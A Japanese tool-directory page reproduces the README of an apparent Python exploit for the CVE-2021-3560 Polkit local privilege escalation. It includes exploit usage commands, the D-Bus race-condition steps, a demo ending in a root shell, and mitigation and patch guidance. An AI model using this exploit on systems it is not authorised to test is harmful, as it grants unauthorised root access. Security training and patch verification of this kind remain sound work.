Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/seimupve/cve-2021-3560_polkit
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

CVE-2021-3560 Polkit ローカル権限昇格の脆弱性のエクスプロイト

リポジトリを見る
9ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3560 Polkit ローカル権限昇格

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Linux システム上の PolicyKit (Polkit) に影響を与える CVE-2021-3560 脆弱性の自動エクスプロイトです。

⚠️ 警告: このツールは、管理されたラボ環境での教育およびサイバーセキュリティトレーニング目的のみを意図しています。所有していないシステムでこのエクスプロイトを許可なく使用することは違法です。

📋 目次

  • 脆弱性について
  • 脆弱なシステム
  • 機能
  • 前提条件
  • インストール
  • 使用方法
  • 仕組み
  • デモンストレーション
  • 緩和策
  • 参考資料

🔍 脆弱性について

CVE-2021-3560 は、PolicyKit (polkit) のローカル競合状態の脆弱性で、権限のないユーザーが脆弱な Linux システム上で root 権限を取得することを可能にします。

技術的詳細

  • CVE ID: CVE-2021-3560
  • 重大度: 高 (CVSS 7.8)
  • タイプ: 競合状態 / Time-of-Check Time-of-Use (TOCTOU)
  • 影響: ローカル権限昇格 (LPE)
  • 開示日: 2021年6月

影響を受けるバージョン

この脆弱性は、バージョン番号の異なる2つの Polkit ブランチに影響します。

アップストリーム (公式バージョン)

  • 脆弱: 0.113 から 0.118
  • バグ導入: コミット bfa5036 (バージョン 0.113)
  • 修正: バージョン 0.119 以降

Debian/Ubuntu フォーク

  • 脆弱: 0.105-26 以降 (0.118 まで)
  • バグ導入: コミット f81d021 (バージョン 0.105-26)
  • 脆弱ではない: Debian 10 "buster" (0.105-25)

💻 脆弱なシステム

📝 注意: セキュリティパッチが適用されたシステム (例: ubuntu1.1, deb10u1) は脆弱ではありません。

✨ 機能

  • ✅ 複数のディストリビューションに対する脆弱性の自動検出
  • ✅ マルチOS対応: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ 必要なツールの依存関係確認
  • ✅ チェックモード: エクスプロイトなしで脆弱性を確認
  • ✅ 適応型タイミング: 最適な競合状態のタイミングを自動測定
  • ✅ プログレスインジケーター: リアルタイムの進行状況表示
  • ✅ カラー出力: 明確で読みやすいインターフェース
  • ✅ 堅牢なエラーハンドリング: 失敗時に明確なメッセージ

📦 前提条件

Python バージョン

  • Python 3.6 以上 (CentOS 8 などの古いシステムでも互換性あり)

システム依存関係

エクスプロイトには以下のツールが必要です (自動確認):

root@kitploit:~
- dbus-send      # D-Bus との通信
- pkexec         # PolicyKit の一部
- id             # ユーザー作成の確認
- openssl        # パスワードハッシュの生成

必要なサービス

root@kitploit:~
- accountsservice  # インストールされ、アクティブである必要があります

🚀 インストール

root@kitploit:~
# リポジトリのクローン (またはファイルのダウンロード)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# スクリプトを実行可能に
chmod +x CVE-2021-3560_Polkit.py

📖 使用方法

モード1: 脆弱性チェック (--check)

システムが脆弱かどうかをエクスプロイトを実行せずに確認:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

出力例:

root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

モード2: エクスプロイト

特権ユーザーの作成:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

例:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

全オプション

root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ 仕組み

このエクスプロイトは、D-Bus リクエスト処理中の PolicyKit の競合状態を悪用します。

脆弱性の原理

  1. D-Bus リクエスト: ユーザーはユーザー作成の D-Bus リクエストを送信
  2. 認可チェック: Polkit がユーザーに権限があるか確認
  3. 競合状態: 確認中に D-Bus 接続が閉じられると、Polkit は UID を 0 (root) として扱う
  4. ユーザー作成: 昇格した権限でユーザーが作成される

エクスプロイトの手順

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. 最適なタイミングの測定                              │
│    └─> テスト実行によりタイミングを調整                 │
├─────────────────────────────────────────────────────────┤
│ 2. エクスプロイト: ユーザー作成                        │
│    └─> D-Bus CreateUser リクエストを送信               │
│    └─> 正確なタイミングでプロセスを強制終了 (競合状態) │
│    └─> ユーザーが作成されたか確認                      │
├─────────────────────────────────────────────────────────┤
│ 3. パスワードハッシュの生成                            │
│    └─> openssl passwd -6 を使用                         │
├─────────────────────────────────────────────────────────┤
│ 4. エクスプロイト: パスワード設定                      │
│    └─> D-Bus SetPassword リクエストを送信               │
│    └─> 正確なタイミングでプロセスを強制終了 (競合状態) │
│    └─> パスワードでログインテスト                      │
├─────────────────────────────────────────────────────────┤
│ 5. 権限昇格                                            │
│    └─> 作成したアカウントでログイン                    │
│    └─> sudo グループのメンバーなら sudo を使用          │
└─────────────────────────────────────────────────────────┘

🎬 デモンストレーション

典型的なエクスプロイトシナリオ

root@kitploit:~
# 1. 脆弱性を確認
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. エクスプロイトを起動
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. root を取得
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ 緩和策

システム管理者向け

  1. PolicyKit の更新:

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # または
    sudo dnf update polkit
    
  2. バージョンの確認:

    root@kitploit:~
    pkexec --version
    # アップストリームでは >= 0.119、またはパッチ適用済み
    
  3. セキュリティパッチの確認:

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

最低限の安全なバージョン

  • アップストリーム: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 以上
  • Debian 11: 0.105-31+deb11u1 以上
  • RHEL 8: polkit-0.115-11.el8_4.1 以上

📚 参考資料

公式記事とドキュメント

  • GitHub Security Lab: Privilege escalation with Polkit: How to get root on Linux with a seven-year-old bug
  • Red Hat CVE: CVE-2021-3560
  • MITRE CVE: CVE-2021-3560
  • NVD NIST: CVE-2021-3560 Detail

TryHackMe リソース

  • TryHackMe Room: Polkit CVE-2021-3560 (Practice)

パッチと修正

  • GitLab Polkit: Fix commit

📝 重要な注意点

成功率

このエクスプロイトは競合状態に依存するため、以下のようになります:

  • ✅ 通常 1~20 回の試行で成功
  • ⏱️ タイミングが重要 (自動調整)
  • 🔄 ステップあたり最大 100 回試行 (設定可能)
  • 📡 ローカルコンソールよりも SSH 経由の方が成功率が高い

制限事項

  • ❌ パッチが適用されたシステムでは機能しない
  • ❌ accountsservice のインストールと動作が必要
  • ❌ ユーザーは システム D-Bus にアクセスできる必要がある
  • ❌ 一部の環境 (コンテナ、特定の VM) ではエクスプロイトがブロックされる可能性がある

パッチ適用済みバージョン (脆弱ではない)

以下のバージョンにはセキュリティパッチが含まれており、脆弱ではありません:

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3 など (Ubuntu パッチ済み)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2 など (Ubuntu パッチ済み)
  • 0.105-31+deb11u1 (Debian 11 パッチ済み)
  • polkit-0.115-11.el8_4.1 (RHEL 8 パッチ済み)

注意: システムが脆弱として表示されていても、エクスプロイトが PermissionDenied エラーで失敗する場合は、バージョンがパッチされている可能性があります。このエクスプロイトは、これらのパッチ済みバージョンを正しく検出するようになりました。

デバッグ

エクスプロイトが失敗した場合:

  1. Python バージョンを確認 (TypeError: __init__() got an unexpected keyword argument 'capture_output' が表示される場合):

    root@kitploit:~
    python3 --version
    # 3.6 以上である必要があります
    # スクリプトは Python 3.6 以上と互換性があります
    
  2. パッチが適用されているか確認:

    root@kitploit:~
    pkexec --version
    # ubuntu1.X (X > 0) と表示される場合はパッチ適用済み
    
  3. accountsservice を確認:

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. D-Bus を確認:

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. ローカルコンソールではなく SSH から起動

  6. コード内の optimal_timing を変更してタイミングを調整

👤 作成者

Seimu

📄 ライセンス

このプロジェクトは教育目的のみを意図しています。許可されていない活動にこのコードを使用することは固く禁止されており、法的措置の対象となる可能性があります。


⚠️ 免責事項: 作成者はこのツールの誤用について一切の責任を負いません。許可されたテスト環境でのみ使用してください。

ツールをダウンロード
ディストリビューションPolkit バージョン脆弱性あり?
Ubuntu 20.040.105-26ubuntu1✅ はい
Ubuntu 18.040.105-20❌ いいえ
Debian testing "bullseye"0.105-31+✅ はい
Debian 10 "buster"0.105-25❌ いいえ
RHEL 80.115-11+✅ はい
RHEL 7< 0.113❌ いいえ
Fedora 21+0.113+✅ はい
Fedora 20 以前< 0.113❌ いいえ